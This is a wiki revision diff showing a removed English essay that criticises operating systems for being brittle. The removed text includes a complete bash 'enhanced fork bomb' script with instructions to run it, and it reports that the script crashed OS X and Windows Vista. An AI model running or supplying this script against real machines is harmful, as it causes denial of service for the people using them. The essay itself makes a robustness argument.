Benutzer:Rdiez/BrittleOperatingSystems: Unterschied zwischen den Versionen

Aus /dev/tal
Wechseln zu: Navigation, Suche
(Weiterleitung nach Benutzer:Rdiez/PageRemoved erstellt)
 
(7 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
{{BenutzerSeitenNichtVeraendernWarnung|rdiez}}
+
#REDIRECT [[Benutzer:Rdiez/PageRemoved]]
 
+
= Brittle Operating Systems =
+
 
+
It's hard to believe how brittle modern Operating Systems still are. After years of development and refinement, you would expect most mainstream OSes to have reached a reasonable level of robustness and security. However, a simple [http://en.wikipedia.org/wiki/Fork_bomb fork bomb] easily brings most OSes down.
+
 
+
It is as if the concept of [http://en.wikipedia.org/wiki/Denial-of-service_attack denial of service] would not belong in the [http://en.wikipedia.org/wiki/Software_security software security] category. Apparently, [http://en.wikipedia.org/wiki/Responsiveness responsiveness] does not fit into the OS writers' idea of [http://en.wikipedia.org/wiki/Robustness_%28computer_science%29 software robustness] either.
+
 
+
Admittedly, the simplest standard ''fork bomb'' does not do the trick any more, as most OSes nowadays limit the maximum number of child processes per session. However, it takes about a minute to write an enhanced version that still works, here it is:
+
 
+
#!/bin/bash
+
+
ENABLE_BOMB=true
+
ENABLE_PRINT_LEN=false
+
+
TEST="ab"
+
+
bomb() {
+
+
  if $ENABLE_BOMB; then
+
    bomb &
+
  fi
+
+
  TEST="$TEST$TEST"
+
+
  echo $TEST >/dev/null
+
  echo >/dev/null
+
+
  if $ENABLE_PRINT_LEN; then
+
    echo "TEST string length: ${#TEST}"
+
  fi
+
+
  bomb
+
};
+
+
bomb
+
 
+
I left a little extra code inside so that you can comfortably experiment with it. Just save it to a file called "ForkBomb-WARNING-may-crash-your-computer.sh", start it as follows and watch your OS slowly grind to a halt:
+
 
+
bash ForkBomb-WARNING-may-crash-your-computer.sh
+
 
+
That's it. You don't need to be root or change any special system configuration setting.
+
 
+
I have seen that little script bring the following systems down:
+
 
+
* Apple OS X
+
* Microsoft Windows Vista (under Cygwin)
+
 
+
Please do [[Benutzer:rdiez|drop me a line]] if you try it on other OSes, so that I can update the list above. Did you find one that resists the script in its default configuration?
+

Aktuelle Version vom 15. Mai 2015, 20:28 Uhr

Weiterleitung nach: